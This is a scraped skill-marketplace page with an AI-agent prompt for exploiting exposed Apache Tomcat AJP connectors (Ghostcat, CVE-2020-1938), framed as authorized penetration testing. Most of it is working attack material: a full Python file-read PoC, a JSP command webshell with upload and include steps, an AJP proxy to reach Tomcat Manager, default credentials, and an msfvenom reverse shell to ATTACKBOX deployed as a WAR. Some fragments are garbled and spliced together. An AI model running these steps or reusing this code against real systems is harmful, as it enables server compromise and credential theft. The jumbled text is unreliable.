You are helping a penetration tester exploit misconfigured Active Directory
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester exploit Apache JServ Protocol (AJP)
インストールする前に、エージェントに与えられる指示の中身を確認できます。
You are helping a penetration tester exploit Apache JServ Protocol (AJP) misconfigurations and Ghostcat (CVE-2020-1938). AJP is a binary protocol used for communication between a front-end web server and Tomcat. When the AJP connector is exposed (typically port 8009), it enables arbitrary file read from the webapp directory and, with a file upload primitive, remote code execution. All testing is under explicit written authorization.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[ajp-ghostcat] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).This skill covers AJP protocol exploitation — Ghostcat file read, AJP attribute injection for JSP inclusion, and AJP proxy bypass to access restricted Tomcat management interfaces. When you reach the boundary of this scope — whether through completing your methodology or discovering findings outside your domain — STOP.
Do not load or execute another skill. Do not continue past your scope boundary. Instead, return to the orchestrator with:
The orchestrator decides what runs next. Your job is to execute this skill thoroughly and return clean findings.
Stay in methodology. Only use techniques documented in this skill. If you encounter a scenario not covered here, note it and return — do not improvise attacks, write custom exploit code, or apply techniques from other domains. The orchestrator will provide specific guidance or route to a different skill.
Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Your return summary must include:
Never download exploits, scripts, or tools directly to the target from the
internet (curl https://github.com/..., git clone on target). Targets may
lack outbound internet access, and operators must review files before they
reach the target.
Attackbox-first workflow:
git clone, curl, searchsploit -m locallypython3 -m http.server 8080 from the directory containing the filewget http://ATTACKBOX:8080/file -O /tmp/file or
curl http://ATTACKBOX:8080/file -o /tmp/fileAlternatives when HTTP is not viable: scp/sftp (if SSH exists),
nc file transfer, base64-encode and paste, or
impacket-smbserver share . -smb2support on attackbox.
Inline source code written via heredoc in this skill does not need this workflow — the operator can read the code directly.
nmap, ajpShooter.py (pip install ajpShooter), or Python 3
(for inline PoC)If not already provided by the orchestrator or conversation context, determine:
requiredSecret configured? (blocks unauthenticated AJP)# Scan for AJP port and Tomcat HTTP
nmap -sV -p 8009,8080,8443 TARGET
# Detailed AJP enumeration with NSE scripts
nmap -sV -p 8009 --script ajp-auth,ajp-headers,ajp-methods,ajp-request TARGET
If nmap shows AJP port as open and responding, proceed. If filtered or closed, this skill does not apply — check if a firewall is in the way or if AJP is bound to localhost only.
Skip if context was already provided.
Confirm AJP is responding and gather information:
# Confirm AJP responds (ajp-request sends a GET via AJP and shows the response)
nmap -sV -p 8009 --script ajp-request TARGET
# Check supported methods
nmap -p 8009 --script ajp-methods TARGET
# Check authentication requirements
nmap -p 8009 --script ajp-auth TARGET
If AJP responds with a page, note the Tomcat version from response headers or
page content. If AJP returns a connection reset or authentication error,
requiredSecret may be configured — see Troubleshooting.
Ghostcat exploits the AJP connector's ability to set internal request attributes
(javax.servlet.include.request_uri, javax.servlet.include.path_info,
javax.servlet.include.servlet_path). This lets an attacker read any file
within any webapp's directory as if it were a JSP — but the file is returned
raw (not executed) when it lacks valid JSP syntax.
Vulnerable versions: Tomcat < 9.0.31, < 8.5.51, < 7.0.100
# Install ajpShooter
pip install ajpShooter
# Read /WEB-INF/web.xml from ROOT context
ajpShooter.py http://TARGET 8009 /WEB-INF/web.xml read
# Read from a specific webapp context
ajpShooter.py http://TARGET 8009 /manager/WEB-INF/web.xml read
ajpShooter.py http://TARGET 8009 /host-manager/WEB-INF/web.xml read
Use this when ajpShooter is unavailable. This compact script implements the AJP 1.3 protocol directly — no dependencies beyond Python 3 stdlib.
#!/usr/bin/env python3
"""Ghostcat (CVE-2020-1938) file read PoC — AJP 1.3 protocol."""
import socket, struct, sys
def pack_string(s):
"""Pack a string into AJP format: 2-byte length + data + null."""
if s is None:
return struct.pack(">h", -1)
s = s.encode() if isinstance(s, str) else s
return struct.pack(">H", len(s)) + s + b"\x00"
def ajp_forward_request(target, port, file_path, context="/"):
"""Send an AJP FORWARD_REQUEST to read a file via attribute injection."""
# AJP request attributes that trigger file inclusion
attributes = b""
# javax.servlet.include.request_uri (attribute code 0x0E = 14)
attributes += b"\x0E" + pack_string(context)
# javax.servlet.include.servlet_path (attribute code 0x0F = 15)
attributes += b"\x0F" + pack_string(file_path)
# Terminator
attributes += b"\xFF"
# Build AJP FORWARD_REQUEST (type 2) for GET method
body = b"\x02" # prefix_code: FORWARD_REQUEST
body += b"\x02" # method: GET
body += pack_string("HTTP/1.1") # protocol
body += pack_string(context) # req_uri
body += pack_string(target) # remote_addr
body += pack_string(target) # remote_host
body += pack_string(target) # server_name
body += struct.pack(">H", port) # server_port
body += b"\x00" # is_ssl: false
# Headers: Host only (count = 1)
body += struct.pack(">H", 1)
body += b"\xA0\x0B" # Host header code
body += pack_string(target)
# Attributes
body += attributes
# Wrap in AJP packet: magic (0x1234) + length + body
packet = b"\x12\x34" + struct.pack(">H", len(body)) + body
# Send and receive
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((target, port))
sock.send(packet)
# Read response
data = b""
while True:
try:
chunk = sock.recv(4096)
if not chunk:
break
data += chunk
except socket.timeout:
break
sock.close()
# Extract response body — skip AJP response headers
# Look for the SEND_BODY_CHUNK marker (type 3)
result = b""
offset = 0
while offset < len(data):
if offset + 4 > len(data):
break
magic = struct.unpack(">H", data[offset:offset+2])[0]
length = struct.unpack(">H", data[offset+2:offset+4])[0]
if offset + 4 + length > len(data):
chunk_data = data[offset+4:]
else:
chunk_data = data[offset+4:offset+4+length]
# SEND_BODY_CHUNK: prefix_code = 0x03
if len(chunk_data) > 0 and chunk_data[0] == 0x03:
if len(chunk_data) > 3:
body_len = struct.unpack(">H", chunk_data[1:3])[0]
result += chunk_data[3:3+body_len]
offset += 4 + length
return result.decode(errors="replace")
if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} <target> <port> [file] [context]")
print(f"Example: {sys.argv[0]} 10.10.10.5 8009 /WEB-INF/web.xml /")
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
fpath = sys.argv[3] if len(sys.argv) > 3 else "/WEB-INF/web.xml"
ctx = sys.argv[4] if len(sys.argv) > 4 else "/"
print(ajp_forward_request(host, port, fpath, ctx))
Read these files across all webapp contexts (ROOT /, /manager,
/host-manager, any custom apps discovered):
| File | Contains |
|---|---|
/WEB-INF/web.xml | Servlet mappings, security constraints, init params |
/WEB-INF/classes/application.properties | Spring Boot config, DB creds, API keys |
/WEB-INF/classes/db.properties | Database connection strings |
/META-INF/context.xml | JNDI datasources with DB credentials |
/WEB-INF/web.properties | Application configuration |
/WEB-INF/spring-*.xml | Spring framework config with bean definitions |
# Read from ROOT context
ajpShooter.py http://TARGET 8009 /WEB-INF/web.xml read
ajpShooter.py http://TARGET 8009 /WEB-INF/classes/application.properties read
ajpShooter.py http://TARGET 8009 /META-INF/context.xml read
# Read from manager context
ajpShooter.py http://TARGET 8009 /manager/WEB-INF/web.xml read
# Read from host-manager context
ajpShooter.py http://TARGET 8009 /host-manager/WEB-INF/web.xml read
Save all file contents to engagement/evidence/ for analysis.
When you have a file upload primitive anywhere in the application (or can write to a path accessible by Tomcat), you can achieve RCE by combining file upload with AJP attribute injection to force Tomcat to process an uploaded file as JSP.
Requirements:
.txt, .png,
.xml — Tomcat processes it as JSP because of the AJP attribute injection)javax.servlet.include.servlet_path
pointing to the uploaded file's path<%@ page import="java.util.*,java.io.*"%>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) { out.println(line); }
br = new BufferedReader(new InputStreamReader(p.getErrorStream()));
while ((line = br.readLine()) != null) { out.println(line); }
}
%>
# Upload the JSP payload via the file upload endpoint (adapt to the target)
# Example: if upload stores to /uploads/shell.txt
curl -F "file=@shell.jsp;filename=shell.txt" http://TARGET:8080/upload
# Include the uploaded file as JSP via AJP attribute injection
ajpShooter.py http://TARGET 8009 /uploads/shell.txt eval
# Execute commands via the included JSP
# The eval mode sends the request with the include attributes set
# and the file is processed as JSP by Tomcat
If the uploaded file's path is unknown, check the upload response for a file
path or URL, or try common paths: /uploads/, /tmp/, /attachments/,
/static/uploads/.
Tomcat Manager is often restricted to localhost connections via the
RemoteAddrValve in META-INF/context.xml:
<Valve className="org.apache.catalina.valves.RemoteAddrValve"
allow="127\.\d+\.\d+\.\d+|::1|0:0:0:0:0:0:0:1" />
When AJP is exposed, you can proxy through it — the connection to Tomcat arrives from your proxy on localhost (or the proxy host), bypassing the IP restriction.
# Install Apache (if not present)
sudo apt install apache2 libapache2-mod-proxy-html
# Enable required modules
sudo a2enmod proxy proxy_ajp
# Create proxy config
cat > /tmp/ajp-proxy.conf << 'EOF'
<VirtualHost *:8888>
ProxyPass / ajp://TARGET:8009/
ProxyPassReverse / ajp://TARGET:8009/
</VirtualHost>
EOF
sudo cp /tmp/ajp-proxy.conf /etc/apache2/sites-available/ajp-proxy.conf
sudo a2ensite ajp-proxy
sudo apachectl restart
# Access Tomcat Manager through the proxy
curl http://127.0.0.1:8888/manager/html
nginx requires compilation with AJP support or use of a third-party module. Apache with mod_proxy_ajp is simpler and preferred.
# nginx.conf (requires AJP module compiled in)
upstream tomcat_ajp {
server TARGET:8009;
}
server {
listen 8888;
location / {
ajp_pass tomcat_ajp;
}
}
Use AJPy for a lightweight AJP proxy that requires no web server installation:
# Install AJPy
pip install ajpy
# Proxy requests to Tomcat Manager via AJP
python -m ajpy.ajp_forward TARGET 8009 /manager/html --method GET
Once proxied, try default credentials:
| Username | Password |
|---|---|
tomcat | tomcat |
tomcat | s3cret |
admin | admin |
admin | tomcat |
manager | manager |
role1 | tomcat |
both | tomcat |
root | root |
Also check credentials extracted from web.xml or tomcat-users.xml via
Ghostcat file read (Step 3).
Once authenticated to Tomcat Manager:
# Generate a WAR webshell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKBOX LPORT=4444 -f war -o shell.war
# Deploy via Manager
curl -u 'tomcat:s3cret' --upload-file shell.war \
"http://127.0.0.1:8888/manager/text/deploy?path=/shell&update=true"
# Trigger the shell
curl http://127.0.0.1:8888/shell/
# Or use a simpler JSP webshell in a WAR:
mkdir -p /tmp/warshell && cat > /tmp/warshell/cmd.jsp << 'JSPEOF'
<%@ page import="java.util.*,java.io.*"%>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String l; while ((l = br.readLine()) != null) out.println(l);
}
%>
JSPEOF
cd /tmp/warshell && jar -cvf ../cmd.war cmd.jsp
# Deploy the WAR
curl -u 'tomcat:s3cret' --upload-file /tmp/cmd.war \
"http://127.0.0.1:8888/manager/text/deploy?path=/cmd&update=true"
# Execute commands
curl "http://127.0.0.1:8888/cmd/cmd.jsp?cmd=id"
localhost_access_log — each file read
generates a log entry/WEB-INF/ paths may trigger security monitoring if
Tomcat access logs are analyzednmap -sV -p 1-65535 TARGET for a full port scansecret attribute by defaultserver.xml via another vuln, look for the secret value:
<Connector port="8009" protocol="AJP/1.3" secretRequired="true" secret="..."/>--ajp_secret flag if you have the secret/, /ROOT/,
application-specific paths)/manager/WEB-INF/web.xml or
/host-manager/WEB-INF/web.xmlProxyPass target matches exactly: ajp://TARGET:8009/server.xmlcurl -v to see detailed error from the proxyDefaultServlet has readonly=false (allows PUT)まだレビューはありません。使ってみた感想をお寄せください。
概要と使いどころ
You are helping a penetration tester exploit misconfigured Active Directory
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester enumerate an Active Directory domain and
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester establish persistent access in Active
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester exploit ADCS through template/CA access
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester establish persistence through AD CS
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester exploit misconfigured AD CS certificate
日本語の概要は準備中です。原文の説明を表示しています。